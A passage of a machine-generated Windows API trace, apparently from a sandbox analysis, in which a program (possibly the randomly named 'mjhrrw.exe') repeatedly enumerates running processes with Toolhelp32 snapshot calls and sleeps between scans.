th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.823] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.824] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.825] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.826] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.826] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.827] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0244.828] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.828] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0244.829] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0244.830] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0244.831] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0244.831] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0244.833] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.834] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0244.835] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0244.836] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0244.836] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0244.837] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0244.838] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0244.839] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0244.840] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0245.196] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0245.197] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0245.197] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0245.198] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.199] Process32NextW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0245.200] CloseHandle (hObject=0x340) returned 1 [0245.200] Sleep (dwMilliseconds=0x1f4) [0245.982] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x374 [0245.990] Process32FirstW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0245.991] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0245.992] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0245.992] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0245.993] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0245.994] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0245.994] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0245.995] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0245.996] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0245.996] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0245.997] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0245.997] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.998] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.999] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0245.999] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.000] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.001] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.001] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.002] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.003] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.003] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.004] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.004] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.005] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.006] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0246.006] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.007] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0246.007] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0246.008] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0246.009] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0246.010] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0246.010] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.011] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0246.011] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0246.012] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0246.013] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0246.013] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0246.014] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0246.015] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0246.015] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0246.016] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0246.016] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0246.017] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0246.203] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.204] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0246.205] CloseHandle (hObject=0x374) returned 1 [0246.205] Sleep (dwMilliseconds=0x1f4) [0246.882] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x394 [0246.959] Process32FirstW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0246.960] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0246.960] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0246.961] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0246.962] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0246.962] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0246.963] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0246.964] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0246.964] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0246.965] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0246.965] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0246.966] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, 